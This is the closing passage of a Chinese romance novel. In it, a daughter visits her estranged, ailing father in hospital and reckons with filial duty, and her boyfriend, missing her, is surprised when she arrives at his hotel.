过分在意面子而透支了很多面子的人,现在也可以通过卖肾偿还了——fromSatan。 倒不是故意奚落,穆里斯对苦难有一种近乎本能的地狱笑话直觉。 两边的病人都是上了年纪的老头,安滨真幸运,生一场病还能重新体会到给别人当儿子的感受,老头们不在乎他有没有把尿撒在床上,只一味关心他的孩子们有没有好好对他。 于是穆里斯收到了全场男士的教育,被拿去和弟弟的妻子比较。你看人家儿媳又是陪床又是送饭,你这个当女儿的,应该更加关心你爸才对啊。你爸现在真的很可怜,老婆每天以泪洗面,小儿子还在上学,大儿子要供女儿上学…… “是啊,你现在真的很可怜。”穆里斯坐下来,对床上的安滨说。她只听进了这一句。 坐三个半小时的高铁来到这里,她当然不是来听他们翻来覆去没有新意的说教的,她是为了搞清楚从她降生于这片土地开始就一直困扰着她的问题,究竟何为“孝”。 说好老死不相往来,可一旦真的到了老和死的地步,她又感到着急,还没弄懂博大精深的中国智慧,人就要死了,孝也成了不可知论的一员,没有比还没答完题就被收走卷子更憋屈的事了。 当一个善人和当一个恶人同样需要理由,她必须明白纸上写的规训是否具有实际含义,到底是智慧,还是一如那糊在墙上的诡异标语,拿出去给旁人看的。 “医生怎么说?”穆里斯问,她希望安滨本人来回答这个问题,然而他实在有气无力,说不了那么长的话,潇洒了半辈子终于学会了深沉。 “医生说好好治疗,平时注意作息和饮食,能好的。”他的儿子代答道。 “我是问什么病。” “慢性肾衰竭,没到尿毒症的严重程度,积极治疗个两三年能好的。” “哦。”穆里斯没什么特别的反应,出于人道主义关怀,她还是补充了一句:“但愿如此。” 床上的安滨操着沙哑的嗓音喊她的小名,反复地喊,取她姓名里的最后一个字,尾部加上儿话音,反复地喊。他渴得很,被禁止喝太多水,故而时不时地恳求旁人用喷壶往他嘴里喷点水。 穆里斯照做,看见他如获至宝般抿掉来之不易的水源,良久,对她说道:“好久不见你了。” 他长了很多的白头发,以及皱纹,像一把草编的扫帚。 “你这次回来多久?陪陪爸爸吧,我们很久没有说话了。” 穆里斯脑子里首先蹦出来的是他曾经站在和她现在同样的立场上时说过的 话:“我很忙啊,爸爸有很多事情要做,你们三个孩子我都要管,你体谅一下我吧,你如果真的有事爸爸肯定不会坐视不管。” 她无法放下所有仇恨直视他的病痛,毕竟她和他一样自私。 “好,你想对我说什么呢?”穆里斯应了下来,并没有以其人之道还治其人之身,事到如今那毫无意义,“还要喝水吗?喝点水好讲话一些。” 安滨又喝了点水,开始煽情夸她是个好孩子,从小成绩优异,没让家长操过心,性子有点倔,但很懂事。他之前太焦虑孩子们的未来了,在外面什么都干,什么都去尝试,为了家里几口人能过得好一点,忽视了女儿和儿子们的感受他感到抱歉,他的爱都在心里,没说出来,如果早点让孩子们知道就好了…… 穆里斯削了个苹果给自己吃,还有那串阳光葡萄她也有点眼馋。等安滨乌拉拉地感叹完,她也吃完了一个苹果。 “其实你说了,而且说的还不少,我懂事是因为那时我以为你背负了很多,正是你潜移默化灌输给我的。刚刚他们批评我不孝,对你哪哪不好,怎么怎么冷漠,你现在却这么夸我,未免太伟大了,我听着都快掉眼泪了。”她擦了擦嘴,语调稀松平常。 “你不用管他们说,我不求你怎么样,你活得好就够了。”安滨说。 穆里斯感受到他在尽力弥补并试图做一个真正慷慨的父亲,那一刻她好像突然理解了标语的用意何在。 “孝或不孝总是从你的嘴巴里说出来,相应的,你是或不是一个合格的父亲,也应该从我嘴巴里说出来。很遗憾地告诉你,你不是一个合格的父亲。” 安滨颤巍巍地举起手,“我知道我不是,你怪我也好,我只希望你能……” “但也说得过去,也说得过去哈。”穆里斯打断了他,“你给了我生命,并且抚养我长大了,如今我们之间只剩下血缘这一条纽带,我不会对你的生命坐视不管的。医生怎么说,你们就听医生的吧,你好好休息。” 人在幻想自己本该拥有的幸福时是很痛苦的,好在穆里斯已经摆脱了这种痛苦。参考答案只是参考,优绩主义下的东亚小孩特别容易掉入圈套。现在看来,大人也逃不掉。 她往安滨的医保卡里打了十万元,然后平静地和他们告别了。当然,这十万元并不能彻底清算父女关系,谈悔谈恨更是不能。他们处在完全不同的逻辑体系里,强硬地扭转对方的思想观念是件十分吃力不讨好的事。 小城挖走了她的十八年,随着时间降解成空气,她带着空落落的躯壳走了,再回来时却是一派丰盈。她拥有了会把她从沙发抱回床上的人,她在节日收到了礼物,悲伤的时候得到了拥抱,她的意愿受到了尊重,一切的一切,带给她强烈的归属感,她只要想见就能见到,想去就能去的地方,是他,和他的身边。 …… 秀场结束后伊实和几位同行去善庆街的一家酒吧喝两杯,其中有一对情侣,他们时不时碰杯时不时耳语,伊实看得后槽牙酸,也没人问,他自顾自说起异地的女朋友是多么可爱和可靠。为什么不把她带过来?有人问。呵呵,难道她没有自己的事要干?伊实说得轻巧。 聊完回酒店,他简单洗了个澡,准备给穆里斯打视频电话,结果她说在忙。前几天他们都有通话,今天见不到活的就算了,至少给张照片解解相思吧?穆里斯竟然也称不方便。 不过她发来一条语音。 “Imissyou,too.” 别以为这么简单就能把他打发了。伊实撇撇嘴,把语音听了一百遍。 李之前对他说,你爱得如此黑白不分昼夜不停,干脆向她求婚得了,结婚后也不怕她跑掉了,而且还有机会能拿到中国绿卡。 伊实听到后啧啧鄙视:“这就是你们靠协议压着我不放的肮脏手段!榨干我的最后一滴价值,你们这群肮脏的资本家!” “……?我在跟你讲什么你又在跟我讲什么?”李决定以后再也不多嘴这人的情感密事。 结婚吗,伊实当然想过,他幻想婚礼,婚纱,戒指,捧花,牧师的证婚词,以及最重要的,由穆里斯亲口说出的“我愿意”。他不在乎这其中有没有协议,他们之间有没有法律效益,他只渴望如同戒指套上无名指一般她坐在他的怀里,认定这是她永恒的巢穴。 身边像他这般年纪的男人要么已婚要么离婚要么在准备二婚,所以契约重要吗?他们不过是把玩乐变成一种看似神圣的仪式而已,实际上不还是主次不分本末倒置?想要阅历丰富剃个光头纹两个纹身不就行了。 伊实不打算走那么明显的弯路,他想吃肉,那么就吃肉,不非得去哪家餐厅,他想睡觉,那么就睡觉,不非得守着时间守着床,同样的,他想要爱,那么就只要爱,不非得签名立碑昭告天下…… 好想她啊,好想见到她。 穆里斯请在他的身上踩奶。我们一起控诉城市的尾气有多么呛人。好想她啊。他不知道还有什么能令他提起兴趣的东西了,一个个实在无聊透顶。再喝点酒吗?喝吧,相思太重难以疏解。太想她了。哪怕呆着什么也不干,闻着她的味道,也比干巴巴的被单好上百倍。 该死,那种感觉又上来了,鱼钩吊着他的心头肉,往喉间提。 伊实脱掉上衣,准备关灯早睡早超生。他走到开关前,按灭顶灯,房间陷入一片漆黑,唯有门缝间透出一丝走廊的灯光。 走廊里有脚步声,急促而欢快,随后逐渐慢下来,变得安静。 伊实正要躺上床,敲门声响起。 他打开门,光倾泻一地,他看见他心爱的女孩,就站在门前,仰着脸向他微笑。 “嗨,我可以在这里住一晚吗?”- 全文完-